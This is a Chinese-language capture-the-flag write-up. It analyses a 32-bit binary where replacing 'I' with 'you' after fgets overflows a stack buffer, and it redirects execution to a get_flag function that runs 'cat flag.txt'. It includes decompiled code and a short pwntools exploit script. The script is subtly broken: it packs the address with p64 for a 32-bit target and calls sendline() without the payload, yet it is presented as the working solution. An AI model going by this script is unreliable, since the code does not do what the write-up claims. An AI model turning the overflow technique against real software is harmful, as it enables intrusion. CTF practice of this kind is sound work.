分析
直接拖入ida,F5查看源码:
1 2 3 4 5
| int __cdecl main(int argc, const char **argv, const char **envp) { vuln(); return 0; }
|
查看vuln函数实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int vuln() { const char *v0; // eax char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF char v4[7]; // [esp+40h] [ebp-18h] BYREF char v5; // [esp+47h] [ebp-11h] BYREF char v6[7]; // [esp+48h] [ebp-10h] BYREF char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(&input, s); std::allocator<char>::allocator(&v5); std::string::string(v4, "you", &v5); std::allocator<char>::allocator(v7); std::string::string(v6, "I", v7); replace((std::string *)v3); std::string::operator=(&input, v3, v6, v4); std::string::~string(v3); std::string::~string(v6); std::allocator<char>::~allocator(v7); std::string::~string(v4); std::allocator<char>::~allocator(&v5); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s); }
|
- 前面就是定义些变量v0,s,v3,v4….
- 获取用户输入:
1 2
| fgets(s, 32, edata); std::string::operator=(&input, s);
|
1 2 3 4
| std::allocator<char>::allocator(&v5); std::string::string(v4, "you", &v5); std::allocator<char>::allocator(v7); std::string::string(v6, "I", v7);
|
1 2
| replace((std::string *)v3); std::string::operator=(&input, v3, v6, v4);
|
1 2 3 4 5
| std::string::~string(v3); std::string::~string(v6); std::allocator<char>::~allocator(v7); std::string::~string(v4); std::allocator<char>::~allocator(&v5);
|
fgets函数限制了输入长度,所以这里是安全的,但是后面有个替换操作,就是把I换位you,所以此时需要分析,在长度多少的时候,替换导致栈溢出。点击s,查看stack of vuln:
可以看到s长度为3c,也就是我们需要插入3c/3个I。接下来继续找flag,可以看到有get_flag函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ; Attributes: bp-based frame
public get_flag get_flag proc near ; __unwind { push ebp mov ebp, esp sub esp, 18h mov dword ptr [esp], offset command ; "cat flag.txt" call _system leave retn ; } // starts at 8048F0D get_flag endp
|
地址为8048F0D
编写exp
1 2 3 4 5
| from pwn import * host = remote(xxx) buf = b'I' * 20 + b'a' * 4 + p64(0x8048F0d) host.sendline() host.interactive()
|
flag{9ee94946-3ae0-40bd-8978-071146a09e6d}